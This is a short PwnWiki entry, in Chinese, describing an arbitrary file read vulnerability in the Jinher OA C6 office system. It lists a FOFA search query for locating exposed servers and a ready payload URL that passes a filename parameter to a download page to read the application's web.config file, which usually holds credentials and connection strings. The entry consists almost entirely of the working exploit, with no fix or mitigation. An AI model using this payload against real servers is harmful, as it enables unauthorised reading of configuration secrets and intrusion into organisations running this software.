金和OA C6 download.jsp 任意文件讀取漏洞

From PwnWiki
Other languages:
Chinese • ‎English • ‎中文(中国大陆)‎

漏洞影響

金和OA

FOFA

app="Jinher-OA"

Payload

/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config

讀取web.config

/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config